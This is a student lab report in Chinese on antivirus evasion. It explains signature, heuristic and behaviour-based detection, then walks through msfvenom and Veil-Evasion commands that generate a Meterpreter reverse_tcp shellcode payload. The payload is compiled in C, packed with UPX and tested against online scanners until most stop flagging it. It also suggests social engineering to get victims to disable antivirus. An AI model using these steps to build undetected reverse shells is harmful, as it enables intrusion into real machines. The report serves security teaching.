20155236範晨歌_EXP3免殺原理與實踐
20155236範晨歌_免殺原理與實踐
免殺
概述
- 免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文為Anti-AntiVirus(簡寫Virus AV),逐字翻譯為“反-反病毒”,翻譯為“反殺毒技術”。
- 被誰殺?當然是被殺毒軟件(引擎)殺。所以,要做好免殺技術(防禦),就要弄清殺毒方式(攻擊),也就是這些殺毒軟件是如何工作的。
惡意代碼檢測方式
- 基於特征碼的檢測
- 特征庫,也就是我們平時說的病毒庫,它記錄了一些惡意軟件的特征碼,這些特征碼由一個不大於64字節的特征串組成,根據自己檢測出或網絡上已發現報告的病毒,對其多段提取特征碼,構成了對惡意軟件查殺的重要因素;
- 殺毒軟件都有著自己的龐大病毒庫(實際上就是由特征碼構成的一個數據庫),殺毒時只需與特征碼進行比對就可判斷出軟件是否有毒;
- 根據以上介紹,我總結了這種方式的查殺特點:
- 病毒庫越大,殺毒有效率越高;
- 因為收集的是已發現病毒的特征碼,所以誤報率低;
- 對部分新型病毒沒有抵抗性,無法抵禦零日攻擊,需要定期更新病毒庫。
- 啟發式惡意軟件檢測
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”對照惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件幹的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件吧!
- 用較為專業的角度來解釋就是,分析對象文件與病毒特征庫中的病毒原碼進行比較,當二者匹配率大於某一值時(通常這一值較小,所以容易誤報),殺毒軟件就會將其列為可疑文件以進行下一步的除理。
- 總結出以下特點:
- 查殺效率極高,不需要依賴龐大的病毒庫;
- 對新型病毒有較好的預防性,可以抵禦零日攻擊;
- 因為分析是“啟發式”的、不精確的、概率性的,所以其誤報率也不可忽略;
- F-Prot是一款殺毒軟件,有三個啟發引擎,可見其是比較強大的,但其誤報我也深感無能為力啊(後文會介紹)……
- 基於行為的惡意軟件檢測
- 是在一種程序運行的狀態下對其行為進行監控,如果有敏感行為會報毒,是一種動態的監測與捕捉;
- 總結出以下特點:
- 不過分依賴病毒庫,效率高;
- 可以檢測出獲取權限等敏感行為,從這種意義上說,在一定程度上是可以抵禦新型病毒的;
- 因為是對系統的一個動態監測,會占用部分系統資源。
免殺方式
- 只有弄懂了查殺原理,對免殺的方式才有更清晰的理解
- 改變特征碼
- 加殼,通過加殼,讓殺毒軟件無法進行反匯編、逆向工程,進而無法分析代碼
- 對shellcode進行編碼、重組
- 改變行為
- 通訊方式
- 盡量使用反彈式連接
- 使用隧道技術
- 加密通訊數據
- 操作模式
- 基於內存操作
- 減少對系統的修改
- 通訊方式
- 其它方法
- 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中
- 使用社會工程學類攻擊,誘騙目標關閉AV軟件、點擊木馬軟件
- 純手工打造一個惡意軟件
實踐內容
1.正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧。
2.通過組合應用各種技術實現惡意代碼免殺(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖)。
3.用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本。
首先要在kali上安裝veil
由於有很多同學的前車之鑒,我先嘗試了如下命令
發現有丶難受,然後換成了c語言use c/meterpreter/rev_tcp.py
,生成可執行文件
想都不用想,這個肯定是沒有說法的。我就接著做了:使用msf生成一個C語言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f
在拿去測試一下,
詳細過程
Veil-Evasion免殺平臺
- Veil-Evasion是一個與Metasploit有點類似的軟件,已經在kali虛擬機裏,如果沒有可以進行在線安裝:
sudo apt-get install veil-evasion
在終端下輸入指令
veil-evasion
即可打開軟件,根據menu
的提示依次鍵入以下指令:use python/meterpreter/rev_tcp //設置payload set LHOST XXX.XXX.XXX.XXX //設置反彈連接IP set port //設置反彈端口 ,默認為4444 generate //生成 5236 //程序名 1
C語言調用Shellcode
- 在kali主機下,進入終端,執行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f c
LHOST
:攻擊機IPLPORT
:反彈連接端口c
:生成一個c語言格式的Shellcode數
將上述代碼從虛擬機裏copy出來,用
Microsoft Visual Studio 2013
進行編譯運行生成可執行文件- 在kali下進入MSF打開監聽進程,方式參考了學長的博文
在靶機上運行該可執行文件,kali成功獲取權限
可以看出,生成shellcode半手工打造,而不是通過msfvenom指令生成一個可執行文件,風險已經降低了不少,但是仍被定性為病毒文件,所以需要進一步考慮修改代碼
壓縮殼UPX壓縮VS生成exe文件
但是這種殼是被針對的。。。
一些小問題:
- 是不是
F-Prot
的殺毒引擎為啟發式,太敏感了? - 是不是call指令的調用或者
VirtualProtect()
操作這類行為敏感,導致報毒?
實驗思考
- 免殺最好的效果就是純手工,純人為構造,殺軟可以分析免殺軟件生成的模式進而發現其隱藏的規律,而人為構造的惡意代碼往往因為不具有普遍性而難以捉摸;但免殺的嘗試不是一蹴而就的,就像這次的實踐,是在不斷的修改代碼過程中,從開始21家報毒,到後來1家報毒,逐漸達到了免殺的級別,這個過程需要不斷的嘗試;
- 殺毒與免殺就是矛與盾,是一種博弈關系,是一種此消彼長的競爭關系,只要互聯網還存在,殺毒與免殺就是互聯網安全永恒的主題;殺毒軟件的薄弱在本次實踐中可見一斑,所以以後在網絡中要“潔身自好”,不該點擊的鏈接別點,來歷不明的第三方軟件別下,定時更新病毒庫、查毒、殺毒;
- 這一種博弈關系非常微妙,就像本文提到的,本來VirSCAN.org的目的可能是幫助檢查是否為病毒文件,但可能被“我們”這樣的人惡意利用,用來檢測自己的病毒是否免殺;又比如,加殼軟件的初衷可能是版權問題,防止他人惡意反匯編、逆向,但這又能被“我們”利用,讓“殼”變成病毒的保護殼,正所謂,工具本無好壞,人心才有善惡!
參考資料
- VirSCAN.org
- MAL_免殺原理與實踐
- 20145221高其_後門原理與實踐
20155236範晨歌_EXP3免殺原理與實踐